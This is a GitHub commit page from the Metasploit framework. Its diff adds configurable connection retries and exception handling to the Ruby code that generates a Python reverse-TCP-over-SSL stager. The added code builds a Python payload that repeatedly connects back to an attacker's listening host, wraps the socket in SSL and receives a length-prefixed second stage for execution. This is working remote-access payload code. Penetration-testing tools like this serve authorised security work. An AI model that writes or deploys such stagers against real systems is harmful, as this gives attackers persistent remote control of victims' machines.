Skip to content

Commit 834e0eb

Browse files
committed
Land rapid7#8340, add exception handling for rev_tcp_ssl
2 parents bac17a8 + a953d94 commit 834e0eb

File tree

2 files changed

+34
-6
lines changed

2 files changed

+34
-6
lines changed

lib/msf/core/payload/python/reverse_tcp_ssl.rb

Lines changed: 33 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,14 +15,23 @@ module Payload::Python::ReverseTcpSsl
1515

1616
include Msf::Payload::Python
1717
include Msf::Payload::Python::ReverseTcp
18+
def initialize(*args)
19+
super
20+
register_advanced_options([
21+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
22+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
23+
], self.class)
24+
end
1825

1926
#
2027
# Generate the first stage
2128
#
2229
def generate
2330
conf = {
2431
port: datastore['LPORT'],
25-
host: datastore['LHOST']
32+
host: datastore['LHOST'],
33+
retry_count: datastore['StagerRetryCount'],
34+
retry_wait: datastore['StagerRetryWait'],
2635
}
2736

2837
generate_reverse_tcp_ssl(conf)
@@ -42,10 +51,29 @@ def supports_ssl?
4251

4352
def generate_reverse_tcp_ssl(opts={})
4453
# Set up the socket
45-
cmd = "import ssl,socket,struct\n"
46-
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
47-
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
48-
cmd << "s=ssl.wrap_socket(so)\n"
54+
cmd = "import ssl,socket,struct#{datastore['StagerRetryWait'].to_i > 0 ? ',time' : ''}\n"
55+
if opts[:retry_wait].blank? # do not retry at all (old style)
56+
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
57+
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
58+
cmd << "s=ssl.wrap_socket(so)\n"
59+
else
60+
if opts[:retry_count] > 0
61+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
62+
else
63+
cmd << "while 1:\n"
64+
end
65+
cmd << "\ttry:\n"
66+
cmd << "\t\tso=socket.socket(2,1)\n" # socket.AF_INET = 2
67+
cmd << "\t\tso.connect(('#{opts[:host]}',#{opts[:port]}))\n"
68+
cmd << "\t\ts=ssl.wrap_socket(so)\n"
69+
cmd << "\t\tbreak\n"
70+
cmd << "\texcept:\n"
71+
if opts[:retry_wait].to_i <= 0
72+
cmd << "\t\tpass\n" # retry immediately
73+
else
74+
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
75+
end
76+
end
4977
cmd << py_send_uuid if include_send_uuid
5078
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
5179
cmd << "d=s.recv(l)\n"

modules/payloads/stagers/python/reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 378
11+
CachedSize = 470
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Python::ReverseTcpSsl

0 commit comments

Comments
 (0)